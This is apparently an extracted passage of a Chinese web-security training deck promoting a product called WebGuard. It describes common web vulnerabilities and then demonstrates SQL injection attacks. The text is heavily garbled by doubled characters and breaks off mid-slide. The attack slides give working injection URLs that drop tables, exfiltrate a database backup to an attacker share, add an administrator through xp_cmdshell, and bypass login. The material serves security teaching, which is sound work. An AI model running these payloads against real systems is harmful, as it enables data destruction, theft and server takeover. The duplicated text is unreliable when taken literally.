Web安全防护技术全接触——WebGuard,您的网页保护专家!内容提要内容提要常见安全漏洞描述常见安全漏洞描述••常见安全漏洞描述常见安全漏洞描述••典型攻击手法典型攻击手法典型攻击手法典型攻击手法••安全漏洞的防范安全漏洞的防范••WEBWEB攻击的检测攻击的检测1常见安全漏洞常见安全漏洞••SQLSQLInjectionInjection漏洞漏洞jj••逻辑错误漏洞逻辑错误漏洞••CookieCookie欺骗漏洞欺骗漏洞••跨站脚本漏洞跨站脚本漏洞信息泄露漏洞信息泄露漏洞••信息泄露漏洞信息泄露漏洞••拒绝服务漏洞拒绝服务漏洞拒绝服务漏洞拒绝服务漏洞••访问控制错误漏洞访问控制错误漏洞2常见安全漏洞常见安全漏洞——SQLInjectionSQLInjection漏洞漏洞••漏洞简介漏洞简介––WEBWEB程序将客户端输入当作程序将客户端输入当作SQLSQL语句执行语句执行••漏洞成因漏洞成因对用户输入中包含的对用户输入中包含的SQLSQL关键字过滤不严关键字过滤不严––对用户输入中包含的对用户输入中包含的SQLSQL关键字过滤不严关键字过滤不严3常见安全漏洞常见安全漏洞——逻辑错误漏洞逻辑错误漏洞••漏洞简介漏洞简介––利用利用WEBWEB程序生成的程序生成的SQLSQL语句具有逻辑错误攻击语句具有逻辑错误攻击••漏洞成因漏洞成因对用户输入中包含的对用户输入中包含的SQLSQL关键字和特殊字符过滤不严关键字和特殊字符过滤不严––对用户输入中包含的对用户输入中包含的SQLSQL关键字和特殊字符过滤不严关键字和特殊字符过滤不严4常见安全漏洞常见安全漏洞——CookieCookie欺骗漏洞欺骗漏洞••漏洞简介漏洞简介––利用工具修改客户端的利用工具修改客户端的CookieCookie欺骗服务器端欺骗服务器端WEBWEB程序程序••漏洞成因漏洞成因WEBWEB程序使用明文程序使用明文CkiCki––WEBWEB程序使用明文程序使用明文CookieCookie––WEBWEB程序仅仅使用程序仅仅使用CookieCookie进行身份验证进行身份验证5常见安全漏洞常见安全漏洞——跨站脚本漏洞跨站脚本漏洞••漏洞简介漏洞简介––攻击者通过诱骗受害者点击特殊编码的攻击者通过诱骗受害者点击特殊编码的URLURL窃取窃取CookieCookie资料资料••漏洞成因漏洞成因WEBWEB程序对程序对htlhtl参数过滤不严参数过滤不严––WEBWEB程序对程序对htmlhtml参数过滤不严参数过滤不严6常见安全漏洞常见安全漏洞——信息泄露漏洞信息泄露漏洞••漏洞简介漏洞简介––提交特殊的错误参数提交特殊的错误参数,,WEBWEB服务器无法处理而返回详细的错误信息服务器无法处理而返回详细的错误信息••漏洞成因漏洞成因WEBWEB程序对错误处理不严程序对错误处理不严––WEBWEB程序对错误处理不严程序对错误处理不严––WEBWEB服务器配置不当服务器配置不当7常见安全漏洞常见安全漏洞——拒绝服务漏洞拒绝服务漏洞••漏洞简介漏洞简介––提交特殊的参数提交特殊的参数,,让让WEBWEB程序对数据库进行大量的搜索导致消耗内存或者程序对数据库进行大量的搜索导致消耗内存或者CPUCPU资源资源CPUCPU资源资源••漏洞成因漏洞成因––WEBWEB程序中程序中SQLSQL语句写作不严格语句写作不严格8常见安全漏洞常见安全漏洞——访问控制错误漏洞访问控制错误漏洞••漏洞简介漏洞简介––敏感目录或者敏感文件权限设置不当导致被攻击者查看敏感目录或者敏感文件权限设置不当导致被攻击者查看••漏洞成因漏洞成因WEBWEB程序权限设置不严格程序权限设置不严格––WEBWEB程序权限设置不严格程序权限设置不严格––WEBWEB服务器权限设置不当服务器权限设置不当9典型攻击手法典型攻击手法——SQLInjectionSQLInjection攻击攻击••问题代码问题代码(ASP+MS(ASP+MSSQLSQLServer)Server)(())ififRequestRequest..QueryString(id)QueryString(id)isisNoThingNoThingthenthenidid==11elseelseidid==RequestRequest..QueryString(id)QueryString(id)endendififendendififsqlsql==selectselecttitle,contenttitle,contentfromfrom[news][news]wherewhereid=id=&id&idsetsetrsrs==ServerServer..CreateObject(adodbCreateObject(adodb..Recordset)Recordset)rsrsOpenOpensqlconnectionsqlconnection1111rsrs..OpenOpensql,connection,sql,connection,11,,1110典型攻击手法典型攻击手法——SQLInjectionSQLInjection攻击攻击••修改数据库内容修改数据库内容––提交语句提交语句httphttp:://target/news//target/news..asp?id=asp?id=11;;updateupdatenewsnewssetsettitle=‘test’title=‘test’wherewheretitle=‘oldtitle’title=‘oldtitle’title=oldtitletitle=oldtitle––selectselecttitle,contenttitle,contentfromfrom[news][news]wherewhereid=id=11;;updateupdatenewsnewssetsettitle=‘test’title=‘test’wherewheretitle‘oldtitle’title‘oldtitle’title=‘oldtitle’title=‘oldtitle’11典型攻击手法典型攻击手法——SQLInjectionSQLInjection攻击攻击••删除其它表删除其它表––提交语句提交语句httphttp:://target/news//target/news..asp?id=asp?id=11;;dropdroptabletabletablenametablename––selectselecttitle,contenttitle,contentfromfrom[news][news]wherewhereid=id=11;;dropdroptabletabletablenametablename12典型攻击手法典型攻击手法——SQLInjectionSQLInjection攻击攻击••窃取数据到本地窃取数据到本地––本地建立匿名可写共享目录本地建立匿名可写共享目录testdirtestdir––提交语句提交语句httphttp:://target/news//target/news..asp?id=asp?id=11;;declaredeclare@a@avarchar(varchar(128128));;setset@a=db_name()@a=db_name();;backupbackupdatabasedatabase@a@atotodisk=‘disk=‘\\\\LocalIPLocalIP\\testdirtestdir\\bakbak..dat’dat’;;----––selectselecttitle,contenttitle,contentfromfrom[news][news]wherewhereid=id=11;;declaredeclare@a@avarchar(varchar(128128));;setset@a=db_name()@a=db_name();;backupbackupdatabasedatabase@a@atotodisk=‘disk=‘\\\\LocalIPLocalIP\\testdirtestdir\\bakbak..dat’dat’;;----13典型攻击手法典型攻击手法——SQLInjectionSQLInjection攻击攻击••执行系统命令执行系统命令––添加管理员帐号添加管理员帐号––httphttp:://target/news//target/news..asp?id=asp?id=11;;EXECEXECmastermaster..dbodbo..xp_cmdshellxp_cmdshell‘net‘netuserusersqlsqlsqlsql/add’/add’;;----––httphttp:://target/news//target/news..asp?id=asp?id=11;;EXECEXECmastermaster..dbodbo..xp_cmdshellxp_cmdshell‘net‘netlocalgrouplocalgroupadministratorsadministratorssqlsql/add’/add’;;----14典型攻击手法典型攻击手法——逻辑错误攻击逻辑错误攻击••问题代码问题代码(ASP+MS(ASP+MSSQLSQLServer)Server)(())sqlsql==selectselect**fromfrom[admin][admin]wherewherename='name='+Request+Request..Form(name)+Form(name)+''andandpass='pass='+Request+RequestForm(pass)+Form(pass)+''pass=pass=+Request+Request..Form(pass)+Form(pass)+setsetrsrs==ServerServer..CreateObject(adodbCreateObject(adodb..Recordset)Recordset)rsrs..OpenOpensql,connection,sql,connection,11,,1115典型攻击手法典型攻击手法——逻辑错误攻击逻辑错误攻击••身份验证绕过身份验证绕过––登陆处提交帐户密码均为登陆处提交帐户密码均为a’a’oror‘a’=’a‘a’=’a––登陆语句变为登陆语句变为sqlsql==“select“select**fromfrom[admin][admin]wherewherename=‘a’name=‘a’oror‘a’=’a’‘a’=’a’andandpass=‘a’pass=‘a’oror‘a’=’a’‘a’=’a’,,此语句恒成立此语句恒成立16典型攻击手法典型攻击手法——CookieCookie欺骗攻击欺骗攻击••文件型文件型CookieCookie欺骗欺骗––保存在硬盘上保存在硬盘上••会话型会话型CookieCookie欺骗欺骗保存在内存中保存在内存中––保存在内存中保存在内存中17欺骗攻击欺骗攻击——文件型文件型CookieCook